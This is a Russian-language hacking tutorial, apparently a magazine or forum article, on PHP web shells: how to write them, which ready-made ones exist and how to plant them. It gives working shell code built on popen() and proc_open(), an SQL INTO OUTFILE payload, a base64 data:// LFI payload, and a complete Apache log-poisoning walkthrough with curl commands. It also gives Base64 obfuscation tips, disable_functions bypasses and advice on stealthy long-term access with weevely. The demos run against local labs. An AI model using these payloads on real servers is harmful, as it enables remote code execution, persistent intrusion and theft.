Пример работы с командой, закодированной в Base64
Обфускация через Base64 — это один из примеров, и довольно простой. Иногда лучше работает функция chr(), которая преобразует числовое значение символа в символ. Есть вариант разбивать строку Base64 на несколько частей и сохранять промежуточное значение где‑нибудь в файле. Только не забудь как‑то помечать начало новой команды, чтобы можно было сбросить ошибки.
Shell-функции
Вся работа шелла построена на выполнении команд в операционной системе. В примере я использовал функцию shell_exec(). Это не единственный вариант. В PHP есть: system(), passthru(), exec(), popen(), proc_open(). Каждая функция имеет свои плюсы и минусы с точки зрения использования, но в контексте веб‑шелла речь скорее про обход ограничений на сервере. Админ может в php.ini запретить вызов функций, перечислив их в disable_functions. Формально функция сохранится и будет доступна для вызова, но любая попытка вызова приведет к фатальной ошибке. Поэтому нужно понять, как использовать каждую из функций в рамках веб‑шелла.
Чаще всего блокируют функции shell_exec(), system(), passthru() и exec(). Но есть смысл тестировать каждую из них. Принципиальная разница между ними в возврате результата:
- shell_exec() возвращает вывод в виде строки, поэтому в коде использовал echo, чтобы результат оказался на странице. Сигнатура: shell_exec(string $command): string|false|null;
- exec() вернет только последнюю строчку вывода. Поэтому работа с exec() слегка вслепую. Исправить ситуацию можно, передав вторым параметром указатель на переменную (&$output), куда функция поместит вывод. Сигнатура:
Код:
exec(string $command, array &$output = null, int &$result_code = null): string|false;
- system() пишет сразу в stdout — это прямой вывод в респонс, нет необходимости добавлять echo или другие функции вывода. Сигнатура:
Код:
system(string $command, int &$result_code = null): string|false;
- passthru() тоже сразу пишет в stdout, но в виде байтов. Сигнатура:
Код:
passthru(string $command, int &$result_code = null): ?false
.
В PHP функция popen() открывает процесс как поток (stream) — почти так же, как fopen() открывает файл. Разница в том, что вместо файла ты получаешь доступ к вводу или выводу запущенной команды. Сигнатура вызова: popen(string $command, string $mode). Пример веб‑шелла:
PHP:
<span><span><?php</span><br> <span>$cmd</span> <span>=</span> <span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span> <span>?</span><span>?</span> <span>'id'</span><span>;</span><br> <span>// Добавляем к команде перенаправление stderr в stdout, чтобы видеть ошибки</span><br> <span>$handle</span> <span>=</span> <span>popen</span><span>(</span><span>$cmd</span> <span>.</span> <span>' 2>&1'</span><span>,</span> <span>'r'</span><span>)</span><span>;</span><br> <span>if</span> <span>(</span><span>$handle</span><span>)</span> <span>{</span><br> <span>// Читаем так же, как из файла</span><br> <span>while</span> <span>(</span><span>!</span><span>feof</span><span>(</span><span>$handle</span><span>)</span><span>)</span> <span>{</span><br> <span>echo</span> <span>fread</span><span>(</span><span>$handle</span><span>,</span> <span>4096</span><span>)</span><span>;</span><br> <span>}</span><br> <span>pclose</span><span>(</span><span>$handle</span><span>)</span><span>;</span><br> <span>}</span></span>
Самая крутая и мощная функция — это proc_open(). При ее помощи можно создать псевдоинтерактивный веб‑шелл. Пример:
PHP:
<span><span><?php</span><br><span>$cmd</span> <span>=</span> <span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span> <span>?</span><span>?</span> <span>'id'</span><span>;</span><br><span>$descriptorspec</span> <span>=</span> <span>[</span><br> <span>0</span> <span>=</span><span>></span> <span>[</span><span>"pipe"</span><span>,</span> <span>"r"</span><span>]</span><span>,</span> <span>// stdin</span><br> <span>1</span> <span>=</span><span>></span> <span>[</span><span>"pipe"</span><span>,</span> <span>"w"</span><span>]</span><span>,</span> <span>// stdout</span><br> <span>2</span> <span>=</span><span>></span> <span>[</span><span>"pipe"</span><span>,</span> <span>"w"</span><span>]</span> <span>// stderr</span><br><span>]</span><span>;</span><br><span>$process</span> <span>=</span> <span>proc_open</span><span>(</span><span>$cmd</span><span>,</span> <span>$descriptorspec</span><span>,</span> <span>$pipes</span><span>)</span><span>;</span><br><span>if</span> <span>(</span><span>is_resource</span><span>(</span><span>$process</span><span>)</span><span>)</span> <span>{</span><br> <span>// Закрываем stdin, если не пишем</span><br> <span>fclose</span><span>(</span><span>$pipes</span><span>[</span><span>0</span><span>]</span><span>)</span><span>;</span><br> <span>echo</span> <span>'<pre>'</span><span>;</span><br> <span>echo</span> <span>stream_get_contents</span><span>(</span><span>$pipes</span><span>[</span><span>1</span><span>]</span><span>)</span><span>;</span><br> <span>echo</span> <span>"\n--- STDERR ---\n"</span> <span>.</span> <span>stream_get_contents</span><span>(</span><span>$pipes</span><span>[</span><span>2</span><span>]</span><span>)</span><span>;</span><br> <span>echo</span> <span>'</pre>'</span><span>;</span><br> <span>fclose</span><span>(</span><span>$pipes</span><span>[</span><span>1</span><span>]</span><span>)</span><span>;</span><br> <span>fclose</span><span>(</span><span>$pipes</span><span>[</span><span>2</span><span>]</span><span>)</span><span>;</span><br> <span>proc_close</span><span>(</span><span>$process</span><span>)</span><span>;</span><br><span>}</span></span>
Готовые веб-шеллы
Сообщество пентестеров создало сотни готовых веб‑шеллов. Зачем писать свой с нуля, если кто‑то уже сделал красивую панельку с кнопочками? Но вот тут сразу большой жирный минус.
Используя чужой шелл, особенно популярный, ты с высокой вероятностью подцепишь бэкдор. Хакеры специально выкладывают «обновленные» версии WSO, r57, c99 с зашитыми внутрь фишками: отправка куки, пароля или логов себе на сервер. Встречаются скрытые майнеры, которые включаются через неделю, или просто реверс‑шеллы на чьи‑то тачки.
Представь: ты проводишь абсолютно легальный пентест по контракту, а через месяц получаешь письмо от заказчика: «А почему у нас на сервере майнится Monero на китайский адрес?»
Предупреждаю тебя: используя готовые шеллы, будь готов к неприятностям. Даже если репозиторий выглядит чистым — проверь diff с оригиналом, поищи подозрительные eval(base64_decode(...)), curl на внешние адреса. Я не беру на себя никакой ответственности. Все, что ты зальешь и запустишь, — на твой страх и риск.
На GitHub можно найти целые коллекции веб‑шеллов, например sagsooz/Webshell-bypass. Рекомендую покопаться в репозитории, посмотреть исходники для более глубокого понимания.
Приведу в пример несколько легендарных тулз, которые годами помогают в пентесте и не только.
Rome Shell
Это маленький приятный веб‑шелл без лишних функций. Поддерживает защиту паролем. А защита веб‑шеллам нужна, без нее твой шелл может найти и захватить коллега по цеху. Находят шеллы обычным перебором каталогов. Иногда бывают курьезы и поисковики индексируют скрипт как легитимную страницу сайта. В таком случае веб‑шелл можно найти через обычный дорк.
Пример Rome Shell
В левой части — файлы и папки текущей директории. При помощи левого меню можно перемещаться по папкам сервера. Справа подобие терминала. Внизу командная строка, выше вывод. Поддерживает загрузку файлов.
В репозитории проекта выложены две версии скрипта: открытый код и обфусцированная версия. Открытый код свободно палится системами защиты.
WSO (Web Shell by oRb и его клоны)
Один из самых известных и до сих пор живых PHP-шеллов. Красивая панелька, почти как админка хостинга.Панель веб‑шелла WSO
Основные фичи:
- файловый менеджер с drag & drop, chmod, массовым копипастом;
- консоль (выполнение команд разными функциями — system/exec/passthru — и обходами disable_functions);
- SQL-менеджер (MySQL/PostgreSQL, дампы, brute);
- brute FTP/MySQL, back-connect, bind-shell;
- поиск файлов/текста по серверу, работа со строками, хеши;
- блокировка пауков — если юзер‑агент — Google, отдает 404 (полезно, чтобы другие не находили твой шелл через Google);
- маленький размер (65 Кбайт), выбор кодировки.
Сейчас много модификаций: WSO 2.5, WSO-NG, «невидимки» с шифрованием. Многие свежие репозитории на GitHub — это либо старые версии, либо версии, припудренные бэкдорами. Если берешь готовый веб‑шелл — проверяй обязательно. WSO подходит для комфортной эксплуатации сервера, когда уже есть загрузка файла и хочется GUI.
Ссылку на классический WSO 2.5 я привожу скорее для истории: он не запустится на PHP 7 или 8. Внутри куча старых функций вроде set_magic_quotes_runtime или подключения к базе через mysql_. Зато это чистый код, который можно модифицировать и получить рабочий шелл. В большинстве случаев более новые версии будут обфусцированы.
Есть новая версия WSO, но скачиваешь и используешь на свой страх. По умолчанию установлен пароль Nfdh3@631q12.
weevely3
Это серьезный инструмент для пентеста. Не просто шелл, а заряженная пушка, как пишут разработчики. Входит в комплект инструментов Kali.
Эта тулза скорее бэкдор, для работы используется не браузер, а коннект программы к своему агенту.
Результат коннекта через weevely3
При пентесте сначала генерируешь маленький зашифрованный агент (PHP-файл) и заливаешь на цель.
Код:
weevely generate test123 wshell.php
Подключаешься через Python-клиент weevely.py — получаешь терминал как SSH:
Код:
weevely http://localhost:8080/wshell.php test123
Тулза поддерживает около 30 мощных модулей для работы. Вот некоторые примеры:
- выполнение команд даже при disable_functions (креативные обходы);
- SQL-консоль + pivoting;
- прокси через цель;
- reverse/bind shells, запуск Meterpreter;
- скан портов, поиск паролей, модули эскалации привилегий.
Модули динамически подгружаются, сам агент крошечный.
Чтобы подробнее познакомиться с модулями, после коннекта к агенту используй команду :help. Двоеточием ты даешь понять, что хочешь работать с модулями.
Работа через weevely максимально тихая. Трафик обфусцирован, сигнатур почти нет. Идеально для долгосрочного доступа.
Как залить веб-шелл на сервер
Веб‑шелл — это не метод атаки, а способ превратить уязвимость в Remote Code Execution. Чтобы залить шелл, тебе нужна какая‑то уязвимость с записью в файл. Наиболее простой вариант — это небезопасная загрузка файла. Загрузил файл и пользуешься.
Для демонстрации запустим DVWA:
Код:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
Зайди на
http://localhost
, используй admin/admin для входа. Жми Setup/Reset DB. Заново авторизуйся с кредами admin/password. В меню слева найди File Upload, это раздел, связанный с уязвимостью загрузки файлов. Выбери файл с любым веб‑шеллом и загрузи его на сервер. В ответ приложение выдаст путь к загруженному файлу. Добавь его к URL. Итоговый URL будет выглядеть как‑то так:
http://localhost/hackable/uploads/shell.php
.
Еще вариант — записать шелл в веб‑директорию через SQL Injection. Если база данных висит на том же сервере и пользователь имеет права на запись через INTO OUTFILE, выполни подобную команду:
SQL:
<span>SELECT</span> <span>'<?php system($_GET["cmd"]); ?>'</span> <span>INTO</span> <span>OUTFILE</span> <span>'/var/www/html/shell.php'</span>
SQL Injection бывает полезна не только возможностью записи файла. На одном таргете у меня была самописная система управления контентом. Веб‑приложение охватывало несколько доменов, каждый из которых работал с собственным сервером. Система раскидывала контент по этим доменам через FTP. Данные для подключения хранились в открытом виде в базе. Само приложение было уязвимо к SQL Injection. Мне не составило никакого труда вытащить данные из базы, подключиться к FTP и залить веб‑шелл.
Часто для загрузки веб‑шелла используется Local File Inclusion и Remote File Inclusion. Если доступны врапперы, есть вариант подгрузить шелл подобным способом:
Код:
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id
Подразумевается, что из параметра page значение напрямую передается в функцию include. Через data:// передаем строку <?php system($_GET['c']); ?>. В параметре &c прописана системная команда, которую PHP будет искать после работы враппера.
Если врапперы недоступны, но есть Remote File Inclusion, тебе нужно поместить шелл на свой сервер. Шелл должен быть в виде текстового файла с блоком кода <?php...?>. Тогда веб‑приложение подгрузит текст и выполнит код веб‑шелла.
Что делать, если есть только Local File Inclusion? Попробуй интересный хук через лог сервера. Код веб‑шелла отправляется в User-Agent. После лог инклюдится через LFI на страницу сайта.
Чтобы на практике посмотреть, как это работает, создадим Dockerfile:
Код:
FROM php:8.2-apache<br>RUN mkdir -p /var/log/apache2 \<br> && chown -R www-data:www-data /var/log/apache2 \<br> && chmod -R 755 /var/log/apache2 \<br> && rm -f /var/log/apache2/*.log \<br> && sed -i 's|ErrorLog ${APACHE_LOG_DIR}/error.log|ErrorLog /var/log/apache2/error.log|' /etc/apache2/apache2.conf \<br> && sed -i 's|CustomLog ${APACHE_LOG_DIR}/access.log|CustomLog /var/log/apache2/access.log|' /etc/apache2/apache2.conf \<br> && sed -i 's|CustomLog ${APACHE_LOG_DIR}/other_vhosts_access.log|CustomLog /var/log/apache2/other_vhosts_access.log|' /etc/apache2/conf-available/other-vhosts-access.conf || true<br># Уязвимая страница LFI<br>COPY <<'EOF' /var/www/html/vuln.php<br><?php<br>if (isset($_GET['page'])) {<br> include($_GET['page']);<br>} else {<br> echo "<h1>LFI demo page</h1>";<br>}<br>?><br>EOF<br>EXPOSE 80
Обрати внимание на смену владельца и установку прав на папку с логами. Хук возможен только в случае, если у тебя есть права на чтение логов.
Собери и запусти контейнер:
Код:
docker build -t lfi-log-lab .<br>docker run -d -p 8080:80 --name lfi-lab lfi-log-lab
Выполни инъекцию шелла в лог командой
curl -A '<?php extract($_GET); system($c); die(); ?>' http://localhost:8087/vuln.php
Проверь, чтобы в access.log лежал код в правильном формате:
Код:
docker exec -it lfi-lab tail -n 3 /var/log/apache2/access.log
В ответе должна быть подобная строка:
Код:
172.17.0.1 - - [23/Feb/2026:10:25:38 +0000] "GET /vuln.php HTTP/1.1" 200 196 "-" "<?php extract($_GET); system($c); die(); ?>"
Функция extract() выбрана не случайно. По умолчанию Apache 2 избавляется от кавычек. Например, можем попытаться отправить такой код:
PHP:
<span><span><?php</span> <span>system</span><span>(</span><span>$_GET</span><span>[</span><span>"cmd"</span><span>]</span><span>)</span><span>;</span><span>die</span><span>(</span><span>)</span><span>;</span><span>?></span></span>
Тогда на выходе получим
PHP:
<span><span><?php</span> <span>system</span><span>(</span><span>$_GET</span><span>[</span>cmd<span>]</span><span>)</span><span>;</span><span>die</span><span>(</span><span>)</span><span>;</span><span>?></span></span>
При попытке инклудить код увидишь фатальную ошибку, так как cmd — это неизвестный для PHP литерал. Если экранируешь кавычки через ", в лог строка упадет в том же виде: $_GET["cmd"]. Такой код тоже приведет к ошибке. Поэтому оптимальный путь — это «разобрать» именованный массив $_GET по локальным переменным. После работы функции PHP создаст одноименные переменные.
Команда die() нужна для прекращения выполнения. Все, что идет в файле после нее, будет проигнорировано интерпретатором PHP. Это позволит избежать ошибок при выполнении твоего шелла и защитит твою инъекцию от чужих инъекций. С другой стороны, если допустишь ошибку в инъекции, придется ждать, когда логи сервера заполнятся и система скинет их.
Тебе осталось передать команду в параметре &c:
Bash:
<span>curl</span> <span>"http://localhost:8087/vuln.php?page=/var/log/apache2/access.log&c=id"</span>
При выполнении запроса PHP увидит в page путь к логу. При помощи include подгрузит файл лога и приступит к поиску блоков PHP в тексте. Наткнувшись на <?php...?>, выполнит код вставки. Текст вне PHP-блока будет проигнорирован.
Внутри блока выполнится экстракт. Значение GET-параметра &c попадет в переменную $c. Далее сработает системный вызов. Наш пример приведет к системному вызову функции id. Результат работы system отправляется в stdout; в данном случае это тело ответа сервера. Завершится выполнение функцией die(), после которой интерпретатор забудет про текст лога и продолжит выполнение кода, идущего за include($_GET['page']);.
Как видишь, есть много способов загрузить шелл на сервер. Конкретный способ зависит от конфигурации таргета.
Автономные и неавтономные веб-шеллы
Шеллы на PHP в большинстве случаев автономны — загрузил файл, и можно сразу пользоваться. Как ты понимаешь, такой подход работает не везде. Автономно могут работать и веб‑шеллы, ориентированные на ASP, JSP и скрипты на Perl.
Автономные веб‑шеллы работают исключительно благодаря архитектуре интерпретатора и веб‑сервера, которые выполняют код по факту HTTP-запроса к файлу. Противоположность — проекты с предварительной загрузкой структуры файлов и роутов.
Отличный пример — проекты на Node.js. Просто так залить веб‑шелл в них не получится. Запущенное приложение просто проигнорирует твой файл. Node.js загружает приложение целиком, работает с прописанными маршрутами и не подтягивает новые файлы автоматически при их появлении. Чтобы Node.js начал обрабатывать файл, веб‑сервер должен его увидеть и каким‑то образом подгрузить. Например, если у тебя есть возможность запустить свой шелл на параллельное выполнение на другом порте, прописав команду в package.json.
Результата ты не получишь, даже если у тебя есть возможность дописать свой шелл в код одного из файлов или добавить новый роут. Пока приложение не будет перезапущено, ни о какой обработке речи быть не может.
Существуют способы «выбить» сервер и заставить перезагрузить веб‑приложение. Но это уже выходит за пределы знакомства с веб‑шеллами. На этом этапе тебе важно само понимание того, что бывают автономные и неавтономные скрипты. На первых порах проще работать с классическим заливом. Если интересно узнать, как заливать и закреплять неавтономный веб‑шелл, напиши в комментах.
ret0x2A

